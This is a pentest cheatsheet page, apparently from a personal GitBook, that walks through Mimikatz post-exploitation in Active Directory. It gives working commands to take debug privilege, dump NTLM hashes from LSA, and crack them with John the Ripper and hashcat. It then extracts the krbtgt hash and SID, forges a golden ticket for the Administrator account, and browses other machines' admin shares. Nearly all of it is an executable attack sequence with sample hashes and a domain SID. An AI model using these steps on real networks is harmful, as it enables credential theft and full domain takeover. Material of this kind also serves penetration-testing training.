> For the complete documentation index, see [llms.txt](https://lanzt.gitbook.io/cheatsheet-pentest/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lanzt.gitbook.io/cheatsheet-pentest/windows-things/active-directory-methodology/post-explotation/mimikatz.md).

# Mimikatz

> Mimikatz is a very popular and powerful post-exploitation tool mainly used for dumping user credentials inside of a active directory network.

The idea is take that credentials (hashes) and try to crack them.

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

## Run mimikatz

```powershell
.\mimikatz.exe
```

## Run mimikatz as Administrator

Inside mimikatz interaction, we run:

```powershell
privilege::debug
```

## Extract NTLM hashes

```powershell
lsadump::lsa /patch
```

## Crack NTLM hashes

```bash
➧ cat mimikatz-ntlm.hashes 
Administrator:2777b7fec870e04dda00cd7260f7bee6
krbtgt:5508500012cc005cf7082a9a89ebdfdf
[...]
```

### Identify hash type

```bash
➧ haiti '2777b7fec870e04dda00cd7260f7bee6'
NTLM [HC: 1000] [JtR: nt]
```

### John the Ripper

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT mimikatz-ntlm.hashes
```

### Hashcat

```bash
hashcat -a 0 -m 1000 mimikatz-ntlm.hashes /usr/share/wordlists/rockyou.txt --username --show -o cracked-mimikatz-ntlm.hashes
```

* \--username: To specify to hashcat that our hash file contains usernames or emails.
* \--show: To save the output like `USER:HASH:PLAIN`

## Golden ticket attack

{% embed url="<https://www.trustdimension.com/ataque-golden-ticket-y-como-mitigarlo>" %}

{% embed url="<https://www.picussecurity.com/resource/blog/golden-ticket-attack-mitre-t1558.001>" %}

### Extract info about krbtgt (Kerberos Ticket Granting Ticket account)

> We will first dump the hash and sid of the krbtgt user then create a golden ticket and use that golden ticket to open up a new command prompt allowing us to access any machine on the network.

```powershell
lsadump::lsa /inject /name:krbtgt
```

> This dumps the hash and security identifier of the Kerberos Ticket Granting Ticket account allowing you to create a golden ticket.

<figure><img src="/files/sNiCX9m9iZWAnPsVmFC1" alt=""><figcaption></figcaption></figure>

### Generating ticket

```powershell
kerberos::golden /user: /domain: /sid: /krbtgt: /id:
```

```powershell
kerberos::golden /user:Administrator /domain:CONTROLLER.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
```

> /id:500 =

<table data-header-hidden><thead><tr><th width="189"></th><th width="139"></th><th></th></tr></thead><tbody><tr><td>S-1-5-<em>domain</em>-500</td><td>Administrator</td><td>Cuenta de usuario para el administrador del sistema. Cada equipo tiene una cuenta de administrador local y cada dominio tiene una cuenta de administrador de dominio.<br>La cuenta de administrador es la primera cuenta creada durante la instalación del sistema operativo. La cuenta no se puede eliminar, deshabilitar ni bloquear, pero se puede cambiar el nombre.<br>De forma predeterminada, la cuenta de administrador es miembro del grupo Administradores y no se puede quitar de ese grupo.</td></tr></tbody></table>

{% embed url="<https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/manage/understand-security-identifiers>" %}

<figure><img src="/files/xyXgnh1k0P5dG5UgqGyX" alt=""><figcaption></figcaption></figure>

### Accessing to machines

To enable complete privileges over all the machines:

```powershell
misc::cmd
```

And then we have access:

```powershell
dir \\Desktop-1\c$
dir \\Machine2\c$
```